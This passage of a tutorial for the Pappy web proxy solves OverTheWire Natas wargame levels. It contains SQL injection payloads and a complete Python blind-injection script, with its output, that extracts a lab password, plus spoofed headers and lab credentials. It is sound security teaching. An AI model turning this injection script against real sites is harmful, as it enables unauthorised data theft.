14 GET natas1.natas.labs.overthewire.org / 200 OK 0 1063 0.27 --
|
||||
13 GET natas1.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.27 --
|
||||
12 GET natas0.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 --
|
||||
11 GET natas0.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.26 --
|
||||
10 GET natas.labs.overthewire.org /img/wechall.gif 200 OK 0 9279 0.28 --
|
||||
9 GET natas.labs.overthewire.org /js/wechall.js 200 OK 0 1074 0.50 --
|
||||
8 GET natas.labs.overthewire.org /js/wechall-data.js 200 OK 0 564 0.48 --
|
||||
7 GET natas.labs.overthewire.org /js/jquery-ui.js 200 OK 0 435844 1.37 --
|
||||
6 GET natas.labs.overthewire.org /js/jquery-1.9.1.js 200 OK 0 268381 1.20 --
|
||||
4 GET natas.labs.overthewire.org /css/wechall.css 200 OK 0 677 0.48 --
|
||||
5 GET natas.labs.overthewire.org /css/jquery-ui.css 200 OK 0 32046 0.49 --
|
||||
3 GET natas.labs.overthewire.org /css/level.css 200 OK 0 1332 0.48 --
|
||||
2 GET natas0.natas.labs.overthewire.org / 200 OK 0 918 0.26 --
|
||||
1 GET natas0.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.26 --
|
||||
pappy> vfs 14
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Date: Fri, 18 Dec 2015 19:47:21 GMT
|
||||
Server: Apache/2.4.7 (Ubuntu)
|
||||
Last-Modified: Fri, 14 Nov 2014 10:32:33 GMT
|
||||
ETag: "427-507cf258a5240-gzip"
|
||||
Accept-Ranges: bytes
|
||||
Vary: Accept-Encoding
|
||||
Content-Length: 1063
|
||||
Keep-Alive: timeout=5, max=100
|
||||
Connection: Keep-Alive
|
||||
Content-Type: text/html
|
||||
|
||||
... snip ...
|
||||
|
||||
<!--The password for natas2 is [password] -->
|
||||
|
||||
... snip ...
|
||||
|
||||
pappy>
|
||||
|
||||
Yay!
|
||||
|
||||
Natas 2
|
||||
-------
|
||||
When you visit this page, you get a message saying "There is nothing on this page". That is probably a blatant lie. Let's see what was in that response.::
|
||||
|
||||
pappy> ls
|
||||
ID Verb Host Path S-Code Req Len Rsp Len Time Mngl
|
||||
30 GET natas2.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 --
|
||||
29 GET natas2.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 --
|
||||
28 GET natas2.natas.labs.overthewire.org /files/pixel.png 200 OK 0 303 0.27 --
|
||||
27 GET natas2.natas.labs.overthewire.org / 200 OK 0 872 0.27 --
|
||||
26 GET natas2.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.27 --
|
||||
... snip ...
|
||||
pappy> vfs 27
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
... snip ...
|
||||
<body>
|
||||
<h1>natas2</h1>
|
||||
<div id="content">
|
||||
There is nothing on this page
|
||||
<img src="files/pixel.png">
|
||||
</div>
|
||||
</body></html>
|
||||
|
||||
pappy>
|
||||
|
||||
So the only suspicious thing is ``<img src="files/pixel.png">``. I'll let you figure out the rest ;)
|
||||
|
||||
Natas 3
|
||||
-------
|
||||
This one doesn't require Pappy. Just view the ``robots.txt`` file.
|
||||
|
||||
Finding Your Passwords Later (How to Use Filters)
|
||||
-------------------------------------------------
|
||||
This section will explain how to use Pappy's filters to find passwords to levels you've already completed. Every in-scope request and response that goes through Pappy is stored in the ``data.db`` file in your project directory. We can use filter commands to search through these requests to find resposes with passwords.
|
||||
|
||||
Filters
|
||||
+++++++
|
||||
|
||||
Here are the commands we'll learn:
|
||||
|
||||
1. ``filter <filter string>`` / ``f <filter string>`` Add a filter that limits which requests are included in the current context
|
||||
2. ``fu`` Remove the most recently applied filter
|
||||
3. ``sr`` Reset the context so that it matches the scope
|
||||
4. ``filter_clear`` Remove all filters from the context, including the filters applied by the scope
|
||||
5. ``fls`` Show all currently applied filters
|
||||
|
||||
The most complicated of these is the ``filter`` command since it takes a filter string as an argument. All a filter string is is a string that defines which requests will pass the filter. Anything that doesn't pass the filter will be removed from the context. Most filter strings are of the format ``<field> <comparer> <value>``. For example::
|
||||
|
||||
host is www.target.org
|
||||
|
||||
field = "host"
|
||||
comparer = "is"
|
||||
value = "www.target.org"
|
||||
|
||||
This filter will only match requests whose host is exactly ``www.target.org``. When defining our scope, we applied a filter using a ``containsr`` comparer. This matches any request where the field matches a regular expression. Here are a few fields and comparers:
|
||||
|
||||
Commonly used fields
|
||||
|
||||
* ``all`` The full text of the request and the response
|
||||
* ``host`` The hostname of where the request is sent
|
||||
* ``path`` The target path of the request. ie ``/path/to/page.php``
|
||||
* ``verb`` The HTTP verb. ie ``POST`` or ``GET`` (case sensitive!)
|
||||
* ``body`` The data section (the body) of either the request or the response
|
||||
|
||||
Commonly used comparers
|
||||
|
||||
* ``is <value>`` The field exactly matches the value
|
||||
* ``contains <value>`` / ``ct <value>`` The field contains a value
|
||||
* ``containsr <regexp>`` / ``ctr <regexp>`` The field matches a regexp. You may want to surround the regexp in quotes since a number of regexp characters are also control characters in the command line
|
||||
|
||||
You can find the rest of the fields and comparers (including some more complex ones) in the actual documentation.
|
||||
|
||||
Once you've applied some filters, ``ls`` will only show items that pass all the applied filters. If you want to return to viewing all in-scope items, use ``sr``. If you want to remove the last applied filter, use ``fu``.
|
||||
|
||||
Finding Passwords
|
||||
+++++++++++++++++
|
||||
While we can't find all the passwords with one filter, if we remember how we got the password, we can find it pretty quickly
|
||||
|
||||
For natas0 and natas1, the responses had a phrase like "the password is abc123". So we can filter out anything that doesn't have the word "password" in it.::
|
||||
|
||||
pappy> ls
|
||||
ID Verb Host Path S-Code Req Len Rsp Len Time Mngl
|
||||
52 GET natas4.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.26 --
|
||||
51 GET natas4.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 --
|
||||
50 GET natas4.natas.labs.overthewire.org / 200 OK 0 1019 0.27 --
|
||||
49 GET natas4.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.26 --
|
||||
48 GET natas3.natas.labs.overthewire.org /s3cr3t/users.txt 200 OK 0 40 0.27 --
|
||||
46 GET natas3.natas.labs.overthewire.org /icons/text.gif 200 OK 0 229 0.53 --
|
||||
47 GET natas3.natas.labs.overthewire.org /icons/back.gif 200 OK 0 216 0.53 --
|
||||
45 GET natas3.natas.labs.overthewire.org /icons/blank.gif 200 OK 0 148 0.53 --
|
||||
44 GET natas3.natas.labs.overthewire.org /s3cr3t/ 200 OK 0 957 0.26 --
|
||||
43 GET natas3.natas.labs.overthewire.org /s3cr3t 301 Moved Permanently 0 354 0.27 --
|
||||
42 GET natas3.natas.labs.overthewire.org /robots.txt 200 OK 0 33 0.29 --
|
||||
41 GET natas3.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.26 --
|
||||
40 GET natas3.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.28 --
|
||||
39 GET natas3.natas.labs.overthewire.org / 200 OK 0 923 0.26 --
|
||||
38 GET natas3.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.28 --
|
||||
37 GET natas2.natas.labs.overthewire.org /files/users.txt 200 OK 0 145 0.28 --
|
||||
36 GET natas2.natas.labs.overthewire.org /icons/text.gif 200 OK 0 229 0.47 --
|
||||
35 GET natas2.natas.labs.overthewire.org /icons/image2.gif 200 OK 0 309 0.47 --
|
||||
34 GET natas2.natas.labs.overthewire.org /icons/back.gif 200 OK 0 216 0.47 --
|
||||
33 GET natas2.natas.labs.overthewire.org /icons/blank.gif 200 OK 0 148 0.47 --
|
||||
32 GET natas2.natas.labs.overthewire.org /files/ 200 OK 0 1153 0.26 --
|
||||
31 GET natas2.natas.labs.overthewire.org /files 301 Moved Permanently 0 353 0.27 --
|
||||
30 GET natas2.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 --
|
||||
29 GET natas2.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 --
|
||||
28 GET natas2.natas.labs.overthewire.org /files/pixel.png 200 OK 0 303 0.27 --
|
||||
pappy> f body ct password
|
||||
pappy> ls
|
||||
ID Verb Host Path S-Code Req Len Rsp Len Time Mngl
|
||||
49 GET natas4.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.26 --
|
||||
38 GET natas3.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.28 --
|
||||
37 GET natas2.natas.labs.overthewire.org /files/users.txt 200 OK 0 145 0.28 --
|
||||
26 GET natas2.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.27 --
|
||||
20 GET natas.labs.overthewire.org /js/wechall.js 200 OK 0 1074 0.47 --
|
||||
24 GET natas.labs.overthewire.org /js/jquery-1.9.1.js 200 OK 0 268381 1.20 --
|
||||
17 GET natas1.natas.labs.overthewire.org / 200 OK 0 1063 0.30 --
|
||||
14 GET natas1.natas.labs.overthewire.org / 200 OK 0 1063 0.27 --
|
||||
13 GET natas1.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.27 --
|
||||
9 GET natas.labs.overthewire.org /js/wechall.js 200 OK 0 1074 0.50 --
|
||||
6 GET natas.labs.overthewire.org /js/jquery-1.9.1.js 200 OK 0 268381 1.20 --
|
||||
2 GET natas0.natas.labs.overthewire.org / 200 OK 0 918 0.26 --
|
||||
1 GET natas0.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.26 --
|
||||
pappy>
|
||||
|
||||
It looks like requests 2 and 14 are the ones we're looking for (we know the password is on the page and those are the requests to / that have a 200 OK response). Use ``vfs`` to look at the response and you'll get the passwords again! It looks like we also found the password from natas2 (the request to /s3cr3t/users.txt).
|
||||
|
||||
Anyways, back to Natas!
|
||||
|
||||
Natas 4
|
||||
-------
|
||||
When we visit this page, we get an error saying that they will only display the password if we visit from ``http://natas5.natas.labs.overthewire.org/``. How does a website track where you came from? The Referer header! Where's that defined? In a header! Do we control the headers? Yes! So all we have to do is set the Referer header to be the correct URL and we're golden.
|
||||
|
||||
To do this, we'll be using Pappy's interceptor. The interceptor lets you stop a request from the browser, edit it, then send it to the server. These are the commands we're going to learn:
|
||||
|
||||
* ``ic <req|rsp>+`` Begin interception mode. Intercepts requests and/or responses as decided by the arguments given in the command. ``ic req`` will only intercept requests, ``ic rsp`` will only intercept responses, and ``ic req rsp`` will intercept both.
|
||||
|
||||
In this case, we only want to intercept requests, so we'll run ``ic req``::
|
||||
|
||||
pappy> ic req
|
||||
|
||||
And we'll get a screen that says something like::
|
||||
|
||||
Currently intercepting: Requests
|
||||
0 item(s) in queue.
|
||||
Press 'n' to edit the next item or 'q' to quit interceptor.
|
||||
|
||||
Now refresh the page in your browser. The page will hang like it's taking a long time to load. Go back to Pappy, and now the interceptor will say something like::
|
||||
|
||||
Currently intercepting: Requests
|
||||
1 item(s) in queue.
|
||||
Press 'n' to edit the next item or 'q' to quit interceptor.
|
||||
|
||||
Press ``n`` and the request will be opened for editing! Which editor is used is defined by the ``EDITOR`` environment variable. Use the text editor to add a ``Referer`` header (note that there's only one r)::
|
||||
|
||||
GET / HTTP/1.1
|
||||
Host: natas4.natas.labs.overthewire.org
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Cookie: __cfduid=db41e9d9b4a13cc3ef4273055b71996fb1450464664
|
||||
Authorization: Basic bmF0YXM0Olo5dGtSa1dtcHQ5UXI3WHJSNWpXUmtnT1U5MDFzd0Va
|
||||
Connection: keep-alive
|
||||
Cache-Control: max-age=0
|
||||
Referer: http://natas5.natas.labs.overthewire.org/
|
||||
|
||||
Save and quit, then press ``q`` to quit the interceptor. Go back to the browser and you should have the password for natas5! Yay!
|
||||
|
||||
Now if you run ls, you'll notice that the request we made has a ``q`` in the ``Mngl`` column. This means that we mangled the request. If there's an ``s`` in that column, it means we mangled the response. If we ever want to refer to the unmangled version of the request, just prefix the id with a u. For example, you can get the unmangled version of request ``12`` by using the id ``u12``.
|
||||
|
||||
Natas 5
|
||||
-------
|
||||
|
||||
This one starts with a screen saying you're not logged in. This is fine. For this one, you'll need to use the interceptor to edit the value of a cookie. I'll let you figure that one out.
|
||||
|
||||
Natas 6
|
||||
-------
|
||||
|
||||
This one you should be able to get
|
||||
|
||||
Natas 7
|
||||
-------
|
||||
|
||||
You should get this one. Note the hint on the `overthewire website <http://overthewire.org/wargames/natas/>`_: All passwords are also stored in /etc/natas_webpass/. E.g. the password for natas5 is stored in the file /etc/natas_webpass/natas5 and only readable by natas4 and natas5.
|
||||
|
||||
Natas 8
|
||||
-------
|
||||
|
||||
You should be able to get this one. If it sucks, google it.
|
||||
|
||||
Natas 9
|
||||
-------
|
||||
|
||||
For this one, when you view the source you'll notice they're taking value you entered and inserting it directly into a command line command to grep a file. What we want to do is insert our own arguments to the command. For this one, we will learn how to use the repeater. Here is the command we will learn:
|
||||
|
||||
* ``rp <reqid>`` Open the vim repeater with the given request
|
||||
* ``<leader>f`` (In the repeater) forward the request
|
||||
|
||||
.. note::
|
||||
Use ``:wq!`` to quit the repeater without having to save buffers
|
||||
|
||||
.. note::
|
||||
You must know the basics of how to use vim for the repeater and have a key bound to the leader. You can find more information on the leader key `here <https://stackoverflow.com/questions/1764263/what-is-the-leader-in-a-vimrc-file>`_. By default <leader> is bound to ``\``.
|
||||
|
||||
Submit a request then open that request in the repeater::
|
||||
|
||||
pappy> ls
|
||||
196 GET natas9.natas.labs.overthewire.org /index.php?needle=ball&submit=Search 200 OK 0 1686 0.27 --
|
||||
195 GET natas9.natas.labs.overthewire.org /index-source.html 200 OK 0 1952 0.27 --
|
||||
... snip ...
|
||||
pappy> rp 196
|
||||
|
||||
Vim will open up in a vertical split with the request on the left and the response on the right.
|
||||
|
||||
In the repeater, you edit the response on the left, then press the ``<leader>`` key then ``f`` to submit the modified request (note that your cursor must be in the left window). The response will then be put in the right window. This makes it easy to quickly make requests which are all slight variations of each other.
|
||||
|
||||
In this case, we'll be editing the ``needle`` get parameter. Try changing "ball" to "bill" and submitting it. You'll notice that the output in the right window changes to contain words that have the word "bill" in them. The repeater will make it easy to make tweaks to your payload and get quick feedback without having to use the browser.
|
||||
|
||||
Use the repeater to solve this challenge (you may need to url encode some characters by hand, unfortunately).
|
||||
|
||||
Skip a few... Natas 15
|
||||
----------------------
|
||||
All the challenges up to this point should be doable with the repeater/interceptor. Natas15 is where things get hairy though. This is a blind SQL injection, and you'll have to write a script to do it. Luckily for us, writing scripts using Pappy is easy. If you're lazy and don't want to actually do the challenges, google the password for natas15 then come back.
|
||||
|
||||
Commands we'll learn:
|
||||
|
||||
* ``gma <name> <reqid(s)>`` Generate a macro with objects pre-defined for the given requests
|
||||
* ``lma`` Load macros
|
||||
* ``rma <name> [args]`` Run a macro, optionally with arguments
|
||||
|
||||
So the first thing we'll do is submit a request to have a base request that we can modify. Submit a request with any username. You should get a response back saying the user doesn't exist. Now we'll generate a macro and use that request as a base for our script::
|
||||
|
||||
pappy> ls
|
||||
ID Verb Host Path S-Code Req Len Rsp Len Time Mngl
|
||||
224 POST natas15.natas.labs.overthewire.org /index.php 200 OK 14 937 0.27 --
|
||||
223 POST natas15.natas.labs.overthewire.org /index.php 200 OK 12 937 0.27 --
|
||||
222 GET natas15.natas.labs.overthewire.org /index-source.html 200 OK 0 3325 0.28 --
|
||||
221 GET natas15.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 308 0.25 --
|
||||
220 GET natas15.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 308 0.27 --
|
||||
219 GET natas15.natas.labs.overthewire.org / 200 OK 0 1049 0.37 --
|
||||
218 GET natas15.natas.labs.overthewire.org / 401 Unauthorized 0 480 0.27 --
|
||||
... snip ...
|
||||
|
||||
pappy> gma brute 224
|
||||
Wrote script to macro_brute.py
|
||||
pappy>
|
||||
|
||||
Now open up ``macro_brute.py`` in your favorite text editor. You should have a script that looks like this::
|
||||
|
||||
from pappyproxy.http import Request, get_request, post_request
|
||||
from pappyproxy.context import set_tag
|
||||
|
||||
MACRO_NAME = 'Macro 41855887'
|
||||
SHORT_NAME = ''
|
||||
|
||||
###########
|
||||
## Requests
|
||||
# It's suggested that you call .copy() on these and then edit attributes
|
||||
# as needed to create modified requests
|
||||
##
|
||||
|
||||
|
||||
req1 = Request((
|
||||
'POST /index.php HTTP/1.1\r\n'
|
||||
'Host: natas15.natas.labs.overthewire.org\r\n'
|
||||
'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0\r\n'
|
||||
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n'
|
||||
'Accept-Language: en-US,en;q=0.5\r\n'
|
||||
'Accept-Encoding: gzip, deflate\r\n'
|
||||
'Referer: http://natas15.natas.labs.overthewire.org/\r\n'
|
||||
'Cookie: __cfduid=db41e9d9b4a13cc3ef4273055b71996fb1450464664\r\n'
|
||||
'Authorization: Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==\r\n'
|
||||
'Connection: keep-alive\r\n'
|
||||
'Content-Type: application/x-www-form-urlencoded\r\n'
|
||||
'Content-Length: 14\r\n'
|
||||
'\r\n'
|
||||
'username=admin'
|
||||
))
|
||||
|
||||
|
||||
def run_macro(args):
|
||||
# Example:
|
||||
# req = req0.copy() # Copy req0
|
||||
# req.submit() # Submit the request to get a response
|
||||
# print req.response.raw_headers # print the response headers
|
||||
# req.save() # save the request to the data file
|
||||
# or copy req0 into a loop and use string substitution to automate requests
|
||||
pass
|
||||
|
||||
Pappy will generate a script and create a ``Request`` object that you can use. Check out the real documentation to see everything you can do with a ``Request`` object. For now you just need to know a few things about it:
|
||||
|
||||
* :func:`~pappyproxy.http.Request.submit` Submit the request and store the response object
|
||||
* :func:`~pappyproxy.http.Request.save` Save the request/response to the data file
|
||||
* ``post_params`` A :class:`~pappyproxy.http.RepeatableDict` that represents the post parameters of the request. Can set/get prameters the same way as a dictionary.
|
||||
|
||||
It is suggested you go through the documentation to learn the rest of the attributes/functions.
|
||||
|
||||
To start out simple, we'll write a macro that lets us check a username from the Pappy console. To define a function, you define the ``run_macro`` function. The function is passed a list of arguments which represent the arguments entered. Here a ``run_macro`` function that we can define that will check if a user exists::
|
||||
|
||||
def run_macro(args):
|
||||
to_check = args[0] # get the username to check
|
||||
r = req1.copy() # make a copy of the base request
|
||||
r.post_params['username'] = to_check # set the username param of the request
|
||||
r.submit() # submit the request
|
||||
if "This user doesn't exist." in r.response.raw_data: # check if the username is valid
|
||||
print "%s is not a user" % to_check
|
||||
else:
|
||||
print "%s is a user!" % to_check
|
||||
|
||||
Then to run it::
|
||||
|
||||
pappy> lma
|
||||
Loaded "<Macro Macro 41855887 (brute)>"
|
||||
pappy> rma brute admin
|
||||
admin is not a user
|
||||
pappy> rma brute fooooo
|
||||
fooooo is not a user
|
||||
pappy> rma brute natas16
|
||||
natas16 is a user!
|
||||
pappy>
|
||||
|
||||
Awesome! Notice how we didn't have to deal with authentication either. This is because the authentication is handled by the ``Authorization`` header which was included in the generated request.
|
||||
|
||||
Time to add the SQL injection part. If we look at the source, we see that this is the SQL query that checks the username::
|
||||
|
||||
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
|
||||
|
||||
So to escape it, we use a payload like::
|
||||
|
||||
username" OR 1=1; #
|
||||
|
||||
In this case, any username that ends in ``" OR 1=1; #`` will be considered a valid username. Let's try this out::
|
||||
|
||||
pappy> rma brute "foo\" OR 1=1;"
|
||||
foo" OR 1=1; is a user!
|
||||
pappy> rma brute "fooooooo\" OR 1=1;"
|
||||
fooooooo" OR 1=1; is a user!
|
||||
pappy>
|
||||
|
||||
Great! Now we can check any true/false condition we want. In this case, we want to check if a certain character is at a certain position in the ``password`` column. We do this with the ``ASCII`` and ``SUBSTRING`` functions. So something like this will check if the first character is an ``A``.::
|
||||
|
||||
'natas16" AND ASCII(SUBSTRING(password, 0, 1)) = 41; #'
|
||||
|
||||
Alright, let's update our macro to find the first character of the password.::
|
||||
|
||||
from pappyproxy.http import Request, get_request, post_request
|
||||
from pappyproxy.context import set_tag
|
||||
|
||||
MACRO_NAME = 'Macro 41855887'
|
||||
SHORT_NAME = ''
|
||||
|
||||
###########
|
||||
## Requests
|
||||
# It's suggested that you call .copy() on these and then edit attributes
|
||||
# as needed to create modified requests
|
||||
##
|
||||
|
||||
|
||||
req1 = Request((
|
||||
'POST /index.php HTTP/1.1\r\n'
|
||||
'Host: natas15.natas.labs.overthewire.org\r\n'
|
||||
'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0\r\n'
|
||||
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n'
|
||||
'Accept-Language: en-US,en;q=0.5\r\n'
|
||||
'Accept-Encoding: gzip, deflate\r\n'
|
||||
'Referer: http://natas15.natas.labs.overthewire.org/\r\n'
|
||||
'Cookie: __cfduid=db41e9d9b4a13cc3ef4273055b71996fb1450464664\r\n'
|
||||
'Authorization: Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==\r\n'
|
||||
'Connection: keep-alive\r\n'
|
||||
'Content-Type: application/x-www-form-urlencoded\r\n'
|
||||
'Content-Length: 14\r\n'
|
||||
'\r\n'
|
||||
'username=admin'
|
||||
))
|
||||
|
||||
def check_char(char, pos):
|
||||
payload = 'natas16" AND ASCII(SUBSTRING(password, %d, 1)) = %d; #' % (pos, ord(char))
|
||||
r = req1.copy()
|
||||
r.post_params['username'] = payload
|
||||
r.submit()
|
||||
if "This user doesn't exist." in r.response.raw_data:
|
||||
return False
|
||||
else:
|
||||
return True
|
||||
|
||||
def run_macro(args):
|
||||
valid_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890"
|
||||
for c in valid_chars:
|
||||
print 'Trying %s...' % c
|
||||
if check_char(c, 1):
|
||||
print '%s is the first char!' % c
|
||||
return
|
||||
print "The script didn't work"
|
||||
|
||||
And when we run it...::
|
||||
|
||||
pappy> lma
|
||||
Loaded "<Macro Macro 41855887 (brute)>"
|
||||
pappy> rma brute
|
||||
Trying a...
|
||||
Trying b...
|
||||
Trying c...
|
||||
Trying d...
|
||||
... snip ...
|
||||
Trying U...
|
||||
Trying V...
|
||||
Trying W...
|
||||
W is the first char!
|
||||
pappy>
|
||||
|
||||
We find the first character! Woo! Next we just have to do this for each position. Even through we don't know the length of the password, we will know that the password is over when none of the characters are valid. So let's update our macro::
|
||||
|
||||
import sys
|
||||
from pappyproxy.http import Request, get_request, post_request
|
||||
from pappyproxy.context import set_tag
|
||||
|
||||
MACRO_NAME = 'Macro 41855887'
|
||||
SHORT_NAME = ''
|
||||
|
||||
###########
|
||||
## Requests
|
||||
# It's suggested that you call .copy() on these and then edit attributes
|
||||
# as needed to create modified requests
|
||||
##
|
||||
|
||||
|
||||
req1 = Request((
|
||||
'POST /index.php HTTP/1.1\r\n'
|
||||
'Host: natas15.natas.labs.overthewire.org\r\n'
|
||||
'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0\r\n'
|
||||
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n'
|
||||
'Accept-Language: en-US,en;q=0.5\r\n'
|
||||
'Accept-Encoding: gzip, deflate\r\n'
|
||||
'Referer: http://natas15.natas.labs.overthewire.org/\r\n'
|
||||
'Cookie: __cfduid=db41e9d9b4a13cc3ef4273055b71996fb1450464664\r\n'
|
||||
'Authorization: Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==\r\n'
|
||||
'Connection: keep-alive\r\n'
|
||||
'Content-Type: application/x-www-form-urlencoded\r\n'
|
||||
'Content-Length: 14\r\n'
|
||||
'\r\n'
|
||||
'username=admin'
|
||||
))
|
||||
|
||||
def check_char(char, pos):
|
||||
payload = 'natas16" AND ASCII(SUBSTRING(password, %d, 1)) = %d; #' % (pos, ord(char))
|
||||
r = req1.copy()
|
||||
r.post_params['username'] = payload
|
||||
r.submit()
|
||||
if "This user doesn't exist." in r.response.raw_data:
|
||||
return False
|
||||
else:
|
||||
return True
|
||||
|
||||
def run_macro(args):
|
||||
valid_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890"
|
||||
password = ''
|
||||
done = False
|
||||
while True:
|
||||
done = True
|
||||
for c in valid_chars:
|
||||
# Print the current char to the current line
|
||||
print c,
|
||||
sys.stdout.flush()
|
||||
|
||||
# Check the current char
|
||||
if check_char(c, len(password)+1):
|
||||
# We got the correct char!
|
||||
password += c
|
||||
# Print it to the screen
|
||||
print ''
|
||||
print '%s is char %d!' % (c, len(password)+1)
|
||||
print 'The password so far is %s' % password
|
||||
# We have to do another round
|
||||
done = False
|
||||
break
|
||||
if done:
|
||||
# We got through the entire alphabet
|
||||
print ''
|
||||
print 'Done! The password is "%s"' % password
|
||||
break
|
||||
|
||||
Then we run it::
|
||||
|
||||
pappy> lma
|
||||
Loaded "<Macro Macro 41855887 (brute)>"
|
||||
pappy> rma brute
|
||||
a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W
|
||||
W is char 1!
|
||||
The password so far is W
|
||||
a
|
||||
a is char 2!
|
||||
The password so far is Wa
|
||||
a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I
|
||||
I is char 3!
|
||||
The password so far is WaI
|
||||
a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H
|
||||
H is char 4!
|
||||
The password so far is WaIH
|
||||
a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E
|
||||
|
||||
... snip ...
|
||||
|
||||
The password so far is WaIHEacj63wnNIBROHeqi3p9t0m5nh
|
||||
a b c d e f g h i j k l m
|
||||
m is char 31!
|
||||
The password so far is WaIHEacj63wnNIBROHeqi3p9t0m5nhm
|
||||
a b c d e f g h
|
||||
h is char 32!
|
||||
The password so far is WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
|
||||
a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 0
|
||||
Done! The password is "WaIHEacj63wnNIBROHeqi3p9t0m5nhmh"
|
||||
pappy>
|
||||
|
||||
Boom! There it is!
|
||||
|
||||
Conclusion
|
||||
==========
|
||||
|
||||
That's pretty much all you need to get started with Pappy. Make sure to go through the documentation to learn about all the other features that weren't covered in this tutorial. Hopefully you didn't find Pappy too hard to use and you'll consider it for your next engagement.
|
Loading…
Add table
Add a link
Reference in a new issue